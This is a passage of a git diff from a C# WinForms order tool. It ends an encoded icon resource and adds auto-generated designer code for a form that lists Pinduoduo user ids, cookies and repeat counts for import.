zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/ToolForms/ImportPddMultiBuyerForm.Designer.cs b/29WxOrder/ToolForms/ImportPddMultiBuyerForm.Designer.cs new file mode 100644 index 0000000..0afae25 --- /dev/null +++ b/29WxOrder/ToolForms/ImportPddMultiBuyerForm.Designer.cs @@ -0,0 +1,347 @@ + +namespace _29WxOrder.ToolForms +{ + partial class ImportPddMultiBuyerForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ImportPddMultiBuyerForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.DgvCookiesList = new _29WxOrder.MyControl.MyDataGridView(); + this.panel5 = new System.Windows.Forms.Panel(); + this.label3 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.pnlLOpenFile = new DevComponents.DotNetBar.PanelEx(); + this.pnlSaveImport = new DevComponents.DotNetBar.PanelEx(); + this.nudMultiTimes = new System.Windows.Forms.NumericUpDown(); + this.col_pdd_user_id = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_cookies = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.col_times = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.tableLayoutPanel1.SuspendLayout(); + this.panel3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.DgvCookiesList)).BeginInit(); + this.panel5.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.nudMultiTimes)).BeginInit(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(571, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.tableLayoutPanel1); + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(599, 447); + this.panel1.TabIndex = 4; + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.ColumnCount = 1; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Controls.Add(this.panel3, 0, 0); + this.tableLayoutPanel1.Controls.Add(this.panel5, 0, 1); + this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 2; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 60F)); + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 20F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(599, 447); + this.tableLayoutPanel1.TabIndex = 0; + // + // panel3 + // + this.panel3.Controls.Add(this.DgvCookiesList); + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(3, 3); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(593, 381); + this.panel3.TabIndex = 0; + // + // DgvCookiesList + // + this.DgvCookiesList.AllowUserToAddRows = false; + this.DgvCookiesList.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(244)))), ((int)(((byte)(244)))), ((int)(((byte)(244))))); + this.DgvCookiesList.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.DgvCookiesList.BackgroundColor = System.Drawing.Color.White; + this.DgvCookiesList.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvCookiesList.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.DgvCookiesList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.DgvCookiesList.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.col_pdd_user_id, + this.col_cookies, + this.col_times}); + this.DgvCookiesList.CustomSortColumns.AddRange(new object[] { + "col_shop_id", + "col_shop_name", + "col_name", + "col_mobile", + "col_order_id", + "col_product_id", + "col_create_time"}); + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle3.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle3.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle3.SelectionForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle3.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.DgvCookiesList.DefaultCellStyle = dataGridViewCellStyle3; + this.DgvCookiesList.Dock = System.Windows.Forms.DockStyle.Fill; + this.DgvCookiesList.GridColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(215)))), ((int)(((byte)(229))))); + this.DgvCookiesList.IsCustomSort = true; + this.DgvCookiesList.Location = new System.Drawing.Point(0, 0); + this.DgvCookiesList.Name = "DgvCookiesList"; + this.DgvCookiesList.ReadOnly = true; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle4.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Black; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.DgvCookiesList.RowHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.DgvCookiesList.RowTemplate.Height = 23; + this.DgvCookiesList.ShowCellToolTips = false; + this.DgvCookiesList.Size = new System.Drawing.Size(593, 381); + this.DgvCookiesList.TabIndex = 1; + this.DgvCookiesList.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.DgvCookiesList_CellContentClick); + // + // panel5 + // + this.panel5.Controls.Add(this.label3); + this.panel5.Controls.Add(this.label2); + this.panel5.Controls.Add(this.label1); + this.panel5.Controls.Add(this.pnlLOpenFile); + this.panel5.Controls.Add(this.pnlSaveImport); + this.panel5.Controls.Add(this.nudMultiTimes); + this.panel5.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel5.Location = new System.Drawing.Point(3, 390); + this.panel5.Name = "panel5"; + 